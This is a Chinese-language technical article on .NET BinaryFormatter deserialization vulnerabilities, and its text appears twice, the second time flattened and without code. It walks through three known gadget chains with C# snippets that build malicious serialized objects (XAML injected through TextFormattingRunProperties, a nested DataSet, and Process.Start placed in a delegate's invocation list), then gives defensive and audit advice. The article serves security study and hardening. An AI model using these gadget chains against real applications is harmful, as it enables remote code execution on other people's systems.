.net反序列化之BinaryFormatter
字数 1371 2025-08-05 08:17:36

.NET反序列化之BinaryFormatter深度解析

BinaryFormatter是.NET中一个强大的序列化工具,但同时也是安全风险极高的组件。本文将深入剖析BinaryFormatter的工作原理、攻击链及其防御措施。

BinaryFormatter概述

BinaryFormatter位于System.Runtime.Serialization.Formatters.Binary命名空间,微软官方文档已明确标注其使用可能导致严重的RCE漏洞。

核心特性

  • 将对象序列化为二进制流
  • 实现IRemotingFormatterIFormatter接口
  • 支持多种序列化/反序列化方法重载

攻击链分析

1. TextFormattingRunProperties链

攻击原理

通过重定义TextFormattingRunProperties类的序列化过程,将恶意XAML代码注入ForegroundBrush字段。

关键代码实现

[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
    string _xaml;
    
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        Type typeTFRP = typeof(TextFormattingRunProperties);
        info.SetType(typeTFRP);
        info.AddValue("ForegroundBrush", _xaml);
    }
    
    public TextFormattingRunPropertiesMarshal(string xaml)
    {
        _xaml = xaml;
    }
}

攻击流程

  1. 自定义类实现ISerializable接口
  2. 序列化时设置ForegroundBrush为恶意XAML
  3. 反序列化时触发XamlReader.Parse(payload)执行RCE

依赖条件

  • 需要Microsoft.PowerShell.Editor.dll
  • 该库是PowerShell的一部分,预装在Windows Server 2008 R2及Windows 7以上版本中

2. DataSet链

攻击原理

利用DataSet的反序列化机制自动处理Tables_0字段中的二进制数据。

关键代码实现

[Serializable]
public class DataSetMarshal : ISerializable
{
    byte[] _fakeTable;
    
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(System.Data.DataSet));
        info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
        info.AddValue("DataSet.Tables.Count", 1);
        info.AddValue("DataSet.Tables_0", _fakeTable);
    }
}

攻击流程

  1. 生成TextFormattingRunProperties的payload转为byte数组
  2. 存入DataSet.Tables_0字段
  3. 反序列化时自动处理Tables_0字段内容

3. TypeConfuseDelegate链

核心概念

  • 委托:持有方法引用的变量
  • 多播委托:持有委托列表的引用,可依次调用多个委托

攻击原理

利用多播委托绕过方法签名检查,将Process.Start注入比较器。

关键代码实现

// 创建比较器
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);

// 反射修改_invocationList
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);

技术要点

  • 利用SortedSet的排序机制触发比较器
  • 通过反射修改多播委托的_invocationList
  • 依赖.NET 4.5+的Comparer<string>.Create方法

防御与审计建议

  1. 避免使用BinaryFormatter:微软已标记为不安全组件
  2. 输入验证:严格校验反序列化数据来源
  3. 类型限制:使用SerializationBinder限制可反序列化类型
  4. 代码审计重点
    • 检查所有BinaryFormatter反序列化方法调用
    • 关注ISerializable接口实现类
    • 审查自定义序列化逻辑

总结

BinaryFormatter的反序列化漏洞主要利用路径包括:

  1. XAML注入(TextFormattingRunProperties)
  2. 嵌套反序列化(DataSet)
  3. 类型混淆委托(TypeConfuseDelegate)

理解这些攻击链有助于开发者编写更安全的代码和安全人员识别潜在风险。在实际应用中,应优先考虑更安全的替代方案如Json.NETProtobuf

.NET反序列化之BinaryFormatter深度解析 BinaryFormatter是.NET中一个强大的序列化工具,但同时也是安全风险极高的组件。本文将深入剖析BinaryFormatter的工作原理、攻击链及其防御措施。 BinaryFormatter概述 BinaryFormatter位于 System.Runtime.Serialization.Formatters.Binary 命名空间,微软官方文档已明确标注其使用可能导致严重的RCE漏洞。 核心特性 将对象序列化为二进制流 实现 IRemotingFormatter 和 IFormatter 接口 支持多种序列化/反序列化方法重载 攻击链分析 1. TextFormattingRunProperties链 攻击原理 通过重定义 TextFormattingRunProperties 类的序列化过程,将恶意XAML代码注入 ForegroundBrush 字段。 关键代码实现 攻击流程 自定义类实现 ISerializable 接口 序列化时设置 ForegroundBrush 为恶意XAML 反序列化时触发 XamlReader.Parse(payload) 执行RCE 依赖条件 需要 Microsoft.PowerShell.Editor.dll 该库是PowerShell的一部分,预装在Windows Server 2008 R2及Windows 7以上版本中 2. DataSet链 攻击原理 利用DataSet的反序列化机制自动处理 Tables_0 字段中的二进制数据。 关键代码实现 攻击流程 生成 TextFormattingRunProperties 的payload转为byte数组 存入 DataSet.Tables_0 字段 反序列化时自动处理 Tables_0 字段内容 3. TypeConfuseDelegate链 核心概念 委托 :持有方法引用的变量 多播委托 :持有委托列表的引用,可依次调用多个委托 攻击原理 利用多播委托绕过方法签名检查,将 Process.Start 注入比较器。 关键代码实现 技术要点 利用 SortedSet 的排序机制触发比较器 通过反射修改多播委托的 _invocationList 依赖.NET 4.5+的 Comparer<string>.Create 方法 防御与审计建议 避免使用BinaryFormatter :微软已标记为不安全组件 输入验证 :严格校验反序列化数据来源 类型限制 :使用 SerializationBinder 限制可反序列化类型 代码审计重点 : 检查所有 BinaryFormatter 反序列化方法调用 关注 ISerializable 接口实现类 审查自定义序列化逻辑 总结 BinaryFormatter的反序列化漏洞主要利用路径包括: XAML注入(TextFormattingRunProperties) 嵌套反序列化(DataSet) 类型混淆委托(TypeConfuseDelegate) 理解这些攻击链有助于开发者编写更安全的代码和安全人员识别潜在风险。在实际应用中,应优先考虑更安全的替代方案如 Json.NET 或 Protobuf 。